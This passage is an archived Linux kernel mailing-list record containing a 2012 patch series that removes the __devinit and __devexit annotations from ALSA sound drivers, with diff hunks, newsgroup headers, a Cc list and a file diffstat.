@@ -1793,7 +1793,7 @@ static struct snd_device_ops snd_cs4231_sbus_dev_ops = {
 	.dev_free	=	snd_cs4231_sbus_dev_free,
 };
 
-static int __devinit snd_cs4231_sbus_create(struct snd_card *card,
+static int snd_cs4231_sbus_create(struct snd_card *card,
 					    struct platform_device *op,
 					    int dev)
 {
@@ -1856,7 +1856,7 @@ static int __devinit snd_cs4231_sbus_create(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit cs4231_sbus_probe(struct platform_device *op)
+static int cs4231_sbus_probe(struct platform_device *op)
 {
 	struct resource *rp = &op->resource[0];
 	struct snd_card *card;
@@ -1959,7 +1959,7 @@ static struct snd_device_ops snd_cs4231_ebus_dev_ops = {
 	.dev_free	=	snd_cs4231_ebus_dev_free,
 };
 
-static int __devinit snd_cs4231_ebus_create(struct snd_card *card,
+static int snd_cs4231_ebus_create(struct snd_card *card,
 					    struct platform_device *op,
 					    int dev)
 {
@@ -2048,7 +2048,7 @@ static int __devinit snd_cs4231_ebus_create(struct snd_card *card,
 	return 0;
 }
 
-static int __devinit cs4231_ebus_probe(struct platform_device *op)
+static int cs4231_ebus_probe(struct platform_device *op)
 {
 	struct snd_card *card;
 	int err;
@@ -2072,7 +2072,7 @@ static int __devinit cs4231_ebus_probe(struct platform_device *op)
 }
 #endif
 
-static int __devinit cs4231_probe(struct platform_device *op)
+static int cs4231_probe(struct platform_device *op)
 {
 #ifdef EBUS_SUPPORT
 	if (!strcmp(op->dev.of_node->parent->name, "ebus"))
diff --git a/sound/sparc/dbri.c b/sound/sparc/dbri.c
index 55c80c4..8763ba0 100644
--- a/sound/sparc/dbri.c
+++ b/sound/sparc/dbri.c
@@ -745,7 +745,7 @@ static void dbri_reset(struct snd_dbri *dbri)
 }
 
 /* Lock must not be held before calling this */
-static void __devinit dbri_initialize(struct snd_dbri *dbri)
+static void dbri_initialize(struct snd_dbri *dbri)
 {
 	s32 *cmd;
 	u32 dma_addr;
@@ -1305,7 +1305,7 @@ to the DBRI via the CHI interface and few of the DBRI's PIO pins.
  * Lock must not be held before calling it.
 
 */
-static __devinit void cs4215_setup_pipes(struct snd_dbri *dbri)
+static void cs4215_setup_pipes(struct snd_dbri *dbri)
 {
 	unsigned long flags;
 
@@ -1338,7 +1338,7 @@ static __devinit void cs4215_setup_pipes(struct snd_dbri *dbri)
 	dbri_cmdwait(dbri);
 }
 
-static __devinit int cs4215_init_data(struct cs4215 *mm)
+static int cs4215_init_data(struct cs4215 *mm)
 {
 	/*
 	 * No action, memory resetting only.
@@ -1630,7 +1630,7 @@ static int cs4215_prepare(struct snd_dbri *dbri, unsigned int rate,
 /*
  *
  */
-static __devinit int cs4215_init(struct snd_dbri *dbri)
+static int cs4215_init(struct snd_dbri *dbri)
 {
 	u32 reg2 = sbus_readl(dbri->regs + REG2);
 	dprintk(D_MM, "cs4215_init: reg2=0x%x\n", reg2);
@@ -2217,7 +2217,7 @@ static struct snd_pcm_ops snd_dbri_ops = {
 	.pointer = snd_dbri_pointer,
 };
 
-static int __devinit snd_dbri_pcm(struct snd_card *card)
+static int snd_dbri_pcm(struct snd_card *card)
 {
 	struct snd_pcm *pcm;
 	int err;
@@ -2436,7 +2436,7 @@ static struct snd_kcontrol_new dbri_controls[] __devinitdata = {
 	CS4215_SINGLE("Mic boost", 4, 4, 1, 1)
 };
 
-static int __devinit snd_dbri_mixer(struct snd_card *card)
+static int snd_dbri_mixer(struct snd_card *card)
 {
 	int idx, err;
 	struct snd_dbri *dbri;
@@ -2500,7 +2500,7 @@ static void dbri_debug_read(struct snd_info_entry *entry,
 }
 #endif
 
-static void __devinit snd_dbri_proc(struct snd_card *card)
+static void snd_dbri_proc(struct snd_card *card)
 {
 	struct snd_dbri *dbri = card->private_data;
 	struct snd_info_entry *entry;
@@ -2523,7 +2523,7 @@ static void __devinit snd_dbri_proc(struct snd_card *card)
 */
 static void snd_dbri_free(struct snd_dbri *dbri);
 
-static int __devinit snd_dbri_create(struct snd_card *card,
+static int snd_dbri_create(struct snd_card *card,
 				     struct platform_device *op,
 				     int irq, int dev)
 {
@@ -2593,7 +2593,7 @@ static void snd_dbri_free(struct snd_dbri *dbri)
 				  (void *)dbri->dma, dbri->dma_dvma);
 }
 
-static int __devinit dbri_probe(struct platform_device *op)
+static int dbri_probe(struct platform_device *op)
 {
 	struct snd_dbri *dbri;
 	struct resource *rp;
diff --git a/sound/spi/at73c213.c b/sound/spi/at73c213.c
index a887ef7..7f39fa2 100644
--- a/sound/spi/at73c213.c
+++ b/sound/spi/at73c213.c
@@ -330,7 +330,7 @@ static struct snd_pcm_ops at73c213_playback_ops = {
 	.pointer	= snd_at73c213_pcm_pointer,
 };
 
-static int __devinit snd_at73c213_pcm_new(struct snd_at73c213 *chip, int device)
+static int snd_at73c213_pcm_new(struct snd_at73c213 *chip, int device)
 {
 	struct snd_pcm *pcm;
 	int retval;
@@ -709,7 +709,7 @@ AT73C213_MONO_SWITCH("Aux Capture Switch", 0, DAC_CTRL, DAC_CTRL_ONAUXIN,
 AT73C213_MONO_SWITCH("Line Capture Switch", 0, DAC_CTRL, 0, 0x03, 0),
 };
 
-static int __devinit snd_at73c213_mixer(struct snd_at73c213 *chip)
+static int snd_at73c213_mixer(struct snd_at73c213 *chip)
 {
 	struct snd_card *card;
 	int errval, idx;
@@ -744,7 +744,7 @@ cleanup:
 /*
  * Device functions
  */
-static int __devinit snd_at73c213_ssc_init(struct snd_at73c213 *chip)
+static int snd_at73c213_ssc_init(struct snd_at73c213 *chip)
 {
 	/*
 	 * Continuous clock output.
@@ -774,7 +774,7 @@ static int __devinit snd_at73c213_ssc_init(struct snd_at73c213 *chip)
 	return 0;
 }
 
-static int __devinit snd_at73c213_chip_init(struct snd_at73c213 *chip)
+static int snd_at73c213_chip_init(struct snd_at73c213 *chip)
 {
 	int retval;
 	unsigned char dac_ctrl = 0;
@@ -879,7 +879,7 @@ static int snd_at73c213_dev_free(struct snd_device *device)
 	return 0;
 }
 
-static int __devinit snd_at73c213_dev_init(struct snd_card *card,
+static int snd_at73c213_dev_init(struct snd_card *card,
 					 struct spi_device *spi)
 {
 	static struct snd_device_ops ops = {
@@ -940,7 +940,7 @@ out:
 	return retval;
 }
 
-static int __devinit snd_at73c213_probe(struct spi_device *spi)
+static int snd_at73c213_probe(struct spi_device *spi)
 {
 	struct snd_card			*card;
 	struct snd_at73c213		*chip;
-- 
1.8.0

From - Thu Nov 08 21:08:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bill Pemberton <wfp5p@virginia.edu>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.alsa.devel,gmane.linux.kernel.samsung-soc,gmane.linux.ports.arm.omap,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.hardware.blackfin.kernel.devel
Subject: [PATCH 491/493] sound: remove use of __devexit
Date: Mon, 19 Nov 2012 13:27:20 -0500
Lines: 5017
Approved: news@gmane.org
Message-ID: <1353349642-3677-491-git-send-email-wfp5p@virginia.edu>
References: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1353362395 27265 80.91.229.3 (19 Nov 2012 21:59:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 19 Nov 2012 21:59:55 +0000 (UTC)
Cc: alsa-devel@alsa-project.org, Philipp Zabel <philipp.zabel@gmail.com>,
 Takashi Iwai <tiwai@suse.de>, Clemens Ladisch <clemens@ladisch.de>,
 Jaroslav Kysela <perex@perex.cz>, Peter Ujfalusi <peter.ujfalusi@ti.com>,
 M R Swami Reddy <mr.swami.reddy@ti.com>,
 device-drivers-devel@blackfin.uclinux.org, Kukjin Kim <kgene.kim@samsung.com>,
 Russell King <linux@arm.linux.org.uk>, patches@opensource.wolfsonmicro.com,
 Vishwas A Deshpande <vishwas.a.deshpande@ti.com>,
 Paul Parsons <lost.distance@yahoo.com>,
 Thibaut Varene <T-Bone@parisc-linux.org>,
 Haojian Zhuang <haojian.zhuang@gmail.com>, linux-samsung-soc@vger.kernel.org,
 Ben Dooks <ben-linux@fluff.org>, linux-omap@vger.kernel.org,
 linux-arm-kernel@lists.infradead.org, Jaya Kumar <jayakumar.alsa@gmail.com>,
 Eric Miao <eric.y.miao@gmail.com>, linux-parisc@vger.kernel.org,
 uclinux-dist-devel@blackfin.uclinux.org, linuxppc-dev@lists.oz
To: gregkh@linuxfoundation.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Mon Nov 19 22:59:57 2012
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1TaZNe-0005U1-Ld
	for glppe-linuxppc-embedded-2@m.gmane.org; Mon, 19 Nov 2012 22:59:53 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 8FC982C2990
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Tue, 20 Nov 2012 08:59:28 +1100 (EST)
Original-Received: from viridian.itc.virginia.edu (viridian.itc.Virginia.EDU
 [128.143.12.139]) by ozlabs.org (Postfix) with ESMTP id 7289E2C008F
 for <linuxppc-dev@lists.ozlabs.org>; Tue, 20 Nov 2012 05:47:59 +1100 (EST)
Original-Received: by viridian.itc.virginia.edu (Postfix, from userid 1249)
 id 8B3568044F; Mon, 19 Nov 2012 13:27:52 -0500 (EST)
X-Mailer: git-send-email 1.8.0
In-Reply-To: <1353349642-3677-1-git-send-email-wfp5p@virginia.edu>
X-Mailman-Approved-At: Tue, 20 Nov 2012 08:33:59 +1100
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:54759 gmane.linux.alsa.devel:103055 gmane.linux.kernel.samsung-soc:13901 gmane.linux.ports.arm.omap:89711 gmane.linux.ports.arm.kernel:201187 gmane.linux.ports.parisc:4678 gmane.linux.hardware.blackfin.kernel.devel:6794
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/54759>

CONFIG_HOTPLUG is going away as an option so __devexit is no
longer needed.

Signed-off-by: Bill Pemberton <wfp5p@virginia.edu>
Cc: Russell King <linux@arm.linux.org.uk> 
Cc: Jaroslav Kysela <perex@perex.cz> 
Cc: Takashi Iwai <tiwai@suse.de> 
Cc: Eric Miao <eric.y.miao@gmail.com> 
Cc: Haojian Zhuang <haojian.zhuang@gmail.com> 
Cc: Clemens Ladisch <clemens@ladisch.de> 
Cc: Thibaut Varene <T-Bone@parisc-linux.org> 
Cc: Jaya Kumar <jayakumar.alsa@gmail.com> 
Cc: M R Swami Reddy <mr.swami.reddy@ti.com> 
Cc: Vishwas A Deshpande <vishwas.a.deshpande@ti.com> 
Cc: Peter Ujfalusi <peter.ujfalusi@ti.com> 
Cc: Jarkko Nikula <jarkko.nikula@bitmer.com> 
Cc: Philipp Zabel <philipp.zabel@gmail.com> 
Cc: Paul Parsons <lost.distance@yahoo.com> 
Cc: Ben Dooks <ben-linux@fluff.org> 
Cc: Kukjin Kim <kgene.kim@samsung.com> 
Cc: alsa-devel@alsa-project.org 
Cc: linux-arm-kernel@lists.infradead.org 
Cc: linux-parisc@vger.kernel.org 
Cc: uclinux-dist-devel@blackfin.uclinux.org 
Cc: device-drivers-devel@blackfin.uclinux.org 
Cc: patches@opensource.wolfsonmicro.com 
Cc: linuxppc-dev@lists.ozlabs.org 
Cc: linux-omap@vger.kernel.org 
Cc: linux-samsung-soc@vger.kernel.org 
---
 sound/arm/aaci.c                         | 2 +-
 sound/arm/pxa2xx-ac97.c                  | 2 +-
 sound/atmel/abdac.c                      | 2 +-
 sound/atmel/ac97c.c                      | 2 +-
 sound/drivers/aloop.c                    | 2 +-
 sound/drivers/dummy.c                    | 2 +-
 sound/drivers/mpu401/mpu401.c            | 4 ++--
 sound/drivers/mtpav.c                    | 2 +-
 sound/drivers/mts64.c                    | 2 +-
 sound/drivers/pcsp/pcsp.c                | 4 ++--
 sound/drivers/portman2x4.c               | 2 +-
 sound/drivers/serial-u16550.c            | 2 +-
 sound/drivers/virmidi.c                  | 2 +-
 sound/firewire/speakers.c                | 2 +-
 sound/isa/ad1816a/ad1816a.c              | 2 +-
 sound/isa/ad1848/ad1848.c                | 2 +-
 sound/isa/adlib.c                        | 2 +-
 sound/isa/als100.c                       | 2 +-
 sound/isa/azt2320.c                      | 2 +-
 sound/isa/cmi8328.c                      | 2 +-
 sound/isa/cmi8330.c                      | 4 ++--
 sound/isa/cs423x/cs4231.c                | 2 +-
 sound/isa/cs423x/cs4236.c                | 6 +++---
 sound/isa/es1688/es1688.c                | 4 ++--
 sound/isa/es18xx.c                       | 6 +++---
 sound/isa/galaxy/galaxy.c                | 2 +-
 sound/isa/gus/gusclassic.c               | 2 +-
 sound/isa/gus/gusextreme.c               | 2 +-
 sound/isa/gus/gusmax.c                   | 2 +-
 sound/isa/gus/interwave.c                | 4 ++--
 sound/isa/msnd/msnd_pinnacle.c           | 6 +++---
 sound/isa/opl3sa2.c                      | 6 +++---
 sound/isa/opti9xx/miro.c                 | 4 ++--
 sound/isa/opti9xx/opti92x-ad1848.c       | 4 ++--
 sound/isa/sb/jazz16.c                    | 2 +-
 sound/isa/sb/sb16.c                      | 4 ++--
 sound/isa/sb/sb8.c                       | 2 +-
 sound/isa/sc6000.c                       | 2 +-
 sound/isa/sscape.c                       | 4 ++--
 sound/isa/wavefront/wavefront.c          | 4 ++--
 sound/mips/hal2.c                        | 2 +-
 sound/mips/sgio2audio.c                  | 2 +-
 sound/oss/kahlua.c                       | 4 ++--
 sound/parisc/harmony.c                   | 2 +-
 sound/pci/ad1889.c                       | 2 +-
 sound/pci/ali5451/ali5451.c              | 2 +-
 sound/pci/als300.c                       | 2 +-
 sound/pci/als4000.c                      | 2 +-
 sound/pci/asihpi/asihpi.c                | 2 +-
 sound/pci/asihpi/hpioctl.c               | 2 +-
 sound/pci/asihpi/hpioctl.h               | 2 +-
 sound/pci/atiixp.c                       | 2 +-
 sound/pci/atiixp_modem.c                 | 2 +-
 sound/pci/au88x0/au88x0.c                | 2 +-
 sound/pci/aw2/aw2-alsa.c                 | 4 ++--
 sound/pci/azt3328.c                      | 2 +-
 sound/pci/bt87x.c                        | 2 +-
 sound/pci/ca0106/ca0106_main.c           | 2 +-
 sound/pci/cmipci.c                       | 2 +-
 sound/pci/cs4281.c                       | 2 +-
 sound/pci/cs46xx/cs46xx.c                | 2 +-
 sound/pci/cs5530.c                       | 2 +-
 sound/pci/cs5535audio/cs5535audio.c      | 2 +-
 sound/pci/cs5535audio/cs5535audio.h      | 2 +-
 sound/pci/cs5535audio/cs5535audio_olpc.c | 2 +-
 sound/pci/ctxfi/xfi.c                    | 2 +-
 sound/pci/echoaudio/echoaudio.c          | 2 +-
 sound/pci/emu10k1/emu10k1.c              | 2 +-
 sound/pci/emu10k1/emu10k1x.c             | 2 +-
 sound/pci/ens1370.c                      | 2 +-
 sound/pci/es1938.c                       | 2 +-
 sound/pci/es1968.c                       | 2 +-
 sound/pci/fm801.c                        | 2 +-
 sound/pci/hda/hda_intel.c                | 2 +-
 sound/pci/ice1712/ice1712.c              | 2 +-
 sound/pci/ice1712/ice1724.c              | 2 +-
 sound/pci/intel8x0.c                     | 2 +-
 sound/pci/intel8x0m.c                    | 2 +-
 sound/pci/korg1212/korg1212.c            | 2 +-
 sound/pci/lola/lola.c                    | 2 +-
 sound/pci/lx6464es/lx6464es.c            | 2 +-
 sound/pci/maestro3.c                     | 2 +-
 sound/pci/mixart/mixart.c                | 2 +-
 sound/pci/nm256/nm256.c                  | 2 +-
 sound/pci/pcxhr/pcxhr.c                  | 2 +-
 sound/pci/riptide/riptide.c              | 4 ++--
 sound/pci/rme32.c                        | 2 +-
 sound/pci/rme96.c                        | 2 +-
 sound/pci/rme9652/hdsp.c                 | 2 +-
 sound/pci/rme9652/hdspm.c                | 2 +-
 sound/pci/rme9652/rme9652.c              | 2 +-
 sound/pci/sis7019.c                      | 2 +-
 sound/pci/sonicvibes.c                   | 2 +-
 sound/pci/trident/trident.c              | 2 +-
 sound/pci/via82xx.c                      | 2 +-
 sound/pci/via82xx_modem.c                | 2 +-
 sound/pci/vx222/vx222.c                  | 2 +-
 sound/pci/ymfpci/ymfpci.c                | 2 +-
 sound/ppc/powermac.c                     | 2 +-
 sound/sh/aica.c                          | 2 +-
 sound/soc/atmel/atmel-pcm.c              | 2 +-
 sound/soc/atmel/atmel_ssc_dai.c          | 2 +-
 sound/soc/atmel/sam9g20_wm8731.c         | 2 +-
 sound/soc/au1x/ac97c.c                   | 2 +-
 sound/soc/au1x/db1000.c                  | 2 +-
 sound/soc/au1x/db1200.c                  | 2 +-
 sound/soc/au1x/dbdma2.c                  | 2 +-
 sound/soc/au1x/dma.c                     | 2 +-
 sound/soc/au1x/i2sc.c                    | 2 +-
 sound/soc/au1x/psc-ac97.c                | 2 +-
 sound/soc/au1x/psc-i2s.c                 | 2 +-
 sound/soc/blackfin/bf5xx-ac97-pcm.c      | 2 +-
 sound/soc/blackfin/bf5xx-ac97.c          | 2 +-
 sound/soc/blackfin/bf5xx-ad1836.c        | 2 +-
 sound/soc/blackfin/bf5xx-i2s-pcm.c       | 2 +-
 sound/soc/blackfin/bf5xx-i2s.c           | 2 +-
 sound/soc/blackfin/bf5xx-tdm-pcm.c       | 2 +-
 sound/soc/blackfin/bf5xx-tdm.c           | 2 +-
 sound/soc/blackfin/bf6xx-i2s.c           | 2 +-
 sound/soc/blackfin/bfin-eval-adau1373.c  | 2 +-
 sound/soc/blackfin/bfin-eval-adau1701.c  | 2 +-
 sound/soc/blackfin/bfin-eval-adav80x.c   | 2 +-
 sound/soc/cirrus/edb93xx.c               | 2 +-
 sound/soc/cirrus/ep93xx-ac97.c           | 2 +-
 sound/soc/cirrus/ep93xx-i2s.c            | 2 +-
 sound/soc/cirrus/ep93xx-pcm.c            | 2 +-
 sound/soc/cirrus/simone.c                | 2 +-
 sound/soc/cirrus/snappercl15.c           | 2 +-
 sound/soc/codecs/88pm860x-codec.c        | 2 +-
 sound/soc/codecs/ab8500-codec.c          | 2 +-
 sound/soc/codecs/ac97.c                  | 2 +-
 sound/soc/codecs/ad1836.c                | 2 +-
 sound/soc/codecs/ad193x.c                | 4 ++--
 sound/soc/codecs/ad1980.c                | 2 +-
 sound/soc/codecs/ad73311.c               | 2 +-
 sound/soc/codecs/adau1373.c              | 2 +-
 sound/soc/codecs/adau1701.c              | 2 +-
 sound/soc/codecs/adav80x.c               | 6 +++---
 sound/soc/codecs/ads117x.c               | 2 +-
 sound/soc/codecs/ak4104.c                | 2 +-
 sound/soc/codecs/ak4535.c                | 2 +-
 sound/soc/codecs/ak4641.c                | 2 +-
 sound/soc/codecs/ak4642.c                | 2 +-
 sound/soc/codecs/ak4671.c                | 2 +-
 sound/soc/codecs/alc5623.c               | 2 +-
 sound/soc/codecs/alc5632.c               | 2 +-
 sound/soc/codecs/cs4271.c                | 4 ++--
 sound/soc/codecs/cs42l73.c               | 2 +-
 sound/soc/codecs/da7210.c                | 4 ++--
 sound/soc/codecs/da732x.c                | 2 +-
 sound/soc/codecs/da9055.c                | 2 +-
 sound/soc/codecs/dfbmcs320.c             | 2 +-
 sound/soc/codecs/dmic.c                  | 2 +-
 sound/soc/codecs/isabelle.c              | 2 +-
 sound/soc/codecs/jz4740.c                | 2 +-
 sound/soc/codecs/lm4857.c                | 2 +-
 sound/soc/codecs/lm49453.c               | 2 +-
 sound/soc/codecs/max9768.c               | 2 +-
 sound/soc/codecs/max98088.c              | 2 +-
 sound/soc/codecs/max98095.c              | 2 +-
 sound/soc/codecs/max9850.c               | 2 +-
 sound/soc/codecs/max9877.c               | 2 +-
 sound/soc/codecs/ml26124.c               | 2 +-
 sound/soc/codecs/omap-hdmi.c             | 2 +-
 sound/soc/codecs/pcm3008.c               | 2 +-
 sound/soc/codecs/rt5631.c                | 2 +-
 sound/soc/codecs/sgtl5000.c              | 2 +-
 sound/soc/codecs/si476x.c                | 2 +-
 sound/soc/codecs/sn95031.c               | 2 +-
 sound/soc/codecs/ssm2602.c               | 4 ++--
 sound/soc/codecs/sta32x.c                | 2 +-
 sound/soc/codecs/sta529.c                | 2 +-
 sound/soc/codecs/stac9766.c              | 2 +-
 sound/soc/codecs/tlv320aic32x4.c         | 2 +-
 sound/soc/codecs/tlv320dac33.c           | 2 +-
 sound/soc/codecs/tpa6130a2.c             | 2 +-
 sound/soc/codecs/twl4030.c               | 2 +-
 sound/soc/codecs/twl6040.c               | 2 +-
 sound/soc/codecs/uda134x.c               | 2 +-
 sound/soc/codecs/uda1380.c               | 2 +-
 sound/soc/codecs/wl1273.c                | 2 +-
 sound/soc/codecs/wm0010.c                | 2 +-
 sound/soc/codecs/wm1250-ev1.c            | 2 +-
 sound/soc/codecs/wm2000.c                | 2 +-
 sound/soc/codecs/wm2200.c                | 2 +-
 sound/soc/codecs/wm5100.c                | 2 +-
 sound/soc/codecs/wm5102.c                | 2 +-
 sound/soc/codecs/wm5110.c                | 2 +-
 sound/soc/codecs/wm8350.c                | 2 +-
 sound/soc/codecs/wm8400.c                | 2 +-
 sound/soc/codecs/wm8510.c                | 4 ++--
 sound/soc/codecs/wm8523.c                | 2 +-
 sound/soc/codecs/wm8711.c                | 4 ++--
 sound/soc/codecs/wm8727.c                | 2 +-
 sound/soc/codecs/wm8728.c                | 4 ++--
 sound/soc/codecs/wm8731.c                | 4 ++--
 sound/soc/codecs/wm8737.c                | 4 ++--
 sound/soc/codecs/wm8741.c                | 2 +-
 sound/soc/codecs/wm8750.c                | 4 ++--
 sound/soc/codecs/wm8753.c                | 4 ++--
 sound/soc/codecs/wm8770.c                | 2 +-
 sound/soc/codecs/wm8776.c                | 4 ++--
 sound/soc/codecs/wm8782.c                | 2 +-
 sound/soc/codecs/wm8804.c                | 4 ++--
 sound/soc/codecs/wm8900.c                | 4 ++--
 sound/soc/codecs/wm8903.c                | 2 +-
 sound/soc/codecs/wm8904.c                | 2 +-
 sound/soc/codecs/wm8940.c                | 2 +-
 sound/soc/codecs/wm8955.c                | 2 +-
 sound/soc/codecs/wm8960.c                | 2 +-
 sound/soc/codecs/wm8961.c                | 2 +-
 sound/soc/codecs/wm8962.c                | 2 +-
 sound/soc/codecs/wm8971.c                | 2 +-
 sound/soc/codecs/wm8974.c                | 2 +-
 sound/soc/codecs/wm8978.c                | 2 +-
 sound/soc/codecs/wm8983.c                | 4 ++--
 sound/soc/codecs/wm8985.c                | 4 ++--
 sound/soc/codecs/wm8988.c                | 4 ++--
 sound/soc/codecs/wm8990.c                | 2 +-
 sound/soc/codecs/wm8991.c                | 2 +-
 sound/soc/codecs/wm8993.c                | 2 +-
 sound/soc/codecs/wm8994.c                | 2 +-
 sound/soc/codecs/wm8995.c                | 4 ++--
 sound/soc/codecs/wm8996.c                | 2 +-
 sound/soc/codecs/wm9081.c                | 2 +-
 sound/soc/codecs/wm9090.c                | 2 +-
 sound/soc/codecs/wm9705.c                | 2 +-
 sound/soc/codecs/wm9712.c                | 2 +-
 sound/soc/codecs/wm9713.c                | 2 +-
 sound/soc/fsl/eukrea-tlv320.c            | 2 +-
 sound/soc/fsl/fsl_dma.c                  | 2 +-
 sound/soc/fsl/imx-audmux.c               | 4 ++--
 sound/soc/fsl/imx-mc13783.c              | 2 +-
 sound/soc/fsl/imx-pcm-dma.c              | 2 +-
 sound/soc/fsl/imx-pcm-fiq.c              | 2 +-
 sound/soc/fsl/imx-sgtl5000.c             | 2 +-
 sound/soc/fsl/imx-ssi.c                  | 2 +-
 sound/soc/fsl/mpc5200_psc_ac97.c         | 2 +-
 sound/soc/fsl/mpc5200_psc_i2s.c          | 2 +-
 sound/soc/fsl/mpc8610_hpcd.c             | 2 +-
 sound/soc/fsl/mx27vis-aic32x4.c          | 2 +-
 sound/soc/fsl/p1022_ds.c                 | 2 +-
 sound/soc/fsl/p1022_rdk.c                | 2 +-
 sound/soc/fsl/pcm030-audio-fabric.c      | 2 +-
 sound/soc/jz4740/jz4740-i2s.c            | 2 +-
 sound/soc/jz4740/jz4740-pcm.c            | 2 +-
 sound/soc/jz4740/qi_lb60.c               | 2 +-
 sound/soc/kirkwood/kirkwood-dma.c        | 2 +-
 sound/soc/kirkwood/kirkwood-i2s.c        | 2 +-
 sound/soc/kirkwood/kirkwood-openrd.c     | 2 +-
 sound/soc/kirkwood/kirkwood-t5325.c      | 2 +-
 sound/soc/mid-x86/mfld_machine.c         | 2 +-
 sound/soc/mxs/mxs-pcm.c                  | 2 +-
 sound/soc/mxs/mxs-saif.c                 | 2 +-
 sound/soc/mxs/mxs-sgtl5000.c             | 2 +-
 sound/soc/nuc900/nuc900-ac97.c           | 2 +-
 sound/soc/nuc900/nuc900-pcm.c            | 2 +-
 sound/soc/omap/ams-delta.c               | 2 +-
 sound/soc/omap/mcbsp.c                   | 2 +-
 sound/soc/omap/mcbsp.h                   | 2 +-
 sound/soc/omap/omap-abe-twl6040.c        | 2 +-
 sound/soc/omap/omap-dmic.c               | 2 +-
 sound/soc/omap/omap-hdmi-card.c          | 2 +-
 sound/soc/omap/omap-hdmi.c               | 2 +-
 sound/soc/omap/omap-mcbsp.c              | 2 +-
 sound/soc/omap/omap-mcpdm.c              | 2 +-
 sound/soc/omap/omap-pcm.c                | 2 +-
 sound/soc/omap/omap-twl4030.c            | 2 +-
 sound/soc/pxa/brownstone.c               | 2 +-
 sound/soc/pxa/corgi.c                    | 2 +-
 sound/soc/pxa/e740_wm9705.c              | 2 +-
 sound/soc/pxa/e750_wm9705.c              | 2 +-
 sound/soc/pxa/e800_wm9712.c              | 2 +-
 sound/soc/pxa/hx4700.c                   | 2 +-
 sound/soc/pxa/imote2.c                   | 2 +-
 sound/soc/pxa/mioa701_wm9713.c           | 2 +-
 sound/soc/pxa/mmp-pcm.c                  | 2 +-
 sound/soc/pxa/mmp-sspa.c                 | 2 +-
 sound/soc/pxa/palm27x.c                  | 2 +-
 sound/soc/pxa/poodle.c                   | 2 +-
 sound/soc/pxa/pxa-ssp.c                  | 2 +-
 sound/soc/pxa/pxa2xx-ac97.c              | 2 +-
 sound/soc/pxa/pxa2xx-i2s.c               | 2 +-
 sound/soc/pxa/pxa2xx-pcm.c               | 2 +-
 sound/soc/pxa/tosa.c                     | 2 +-
 sound/soc/pxa/ttc-dkb.c                  | 2 +-
 sound/soc/s6000/s6000-i2s.c              | 2 +-
 sound/soc/s6000/s6000-pcm.c              | 2 +-
 sound/soc/samsung/ac97.c                 | 2 +-
 sound/soc/samsung/bells.c                | 2 +-
 sound/soc/samsung/dma.c                  | 2 +-
 sound/soc/samsung/i2s.c                  | 2 +-
 sound/soc/samsung/idma.c                 | 2 +-
 sound/soc/samsung/littlemill.c           | 2 +-
 sound/soc/samsung/lowland.c              | 2 +-
 sound/soc/samsung/pcm.c                  | 2 +-
 sound/soc/samsung/s3c2412-i2s.c          | 2 +-
 sound/soc/samsung/s3c24xx-i2s.c          | 2 +-
 sound/soc/samsung/s3c24xx_simtec.c       | 2 +-
 sound/soc/samsung/smdk_wm8580pcm.c       | 2 +-
 sound/soc/samsung/smdk_wm8994.c          | 2 +-
 sound/soc/samsung/smdk_wm8994pcm.c       | 2 +-
 sound/soc/samsung/spdif.c                | 2 +-
 sound/soc/samsung/speyside.c             | 2 +-
 sound/soc/samsung/tobermory.c            | 2 +-
 sound/soc/sh/dma-sh7760.c                | 2 +-
 sound/soc/sh/hac.c                       | 2 +-
 sound/soc/sh/siu_dai.c                   | 2 +-
 sound/soc/sh/ssi.c                       | 2 +-
 sound/soc/soc-utils.c                    | 2 +-
 sound/soc/spear/spear_pcm.c              | 2 +-
 sound/soc/tegra/tegra20_das.c            | 2 +-
 sound/soc/tegra/tegra20_i2s.c            | 2 +-
 sound/soc/tegra/tegra20_spdif.c          | 2 +-
 sound/soc/tegra/tegra30_ahub.c           | 2 +-
 sound/soc/tegra/tegra30_i2s.c            | 2 +-
 sound/soc/tegra/tegra_alc5632.c          | 2 +-
 sound/soc/tegra/tegra_pcm.c              | 2 +-
 sound/soc/tegra/tegra_wm8753.c           | 2 +-
 sound/soc/tegra/tegra_wm8903.c           | 2 +-
 sound/soc/tegra/trimslice.c              | 2 +-
 sound/soc/txx9/txx9aclc-ac97.c           | 2 +-
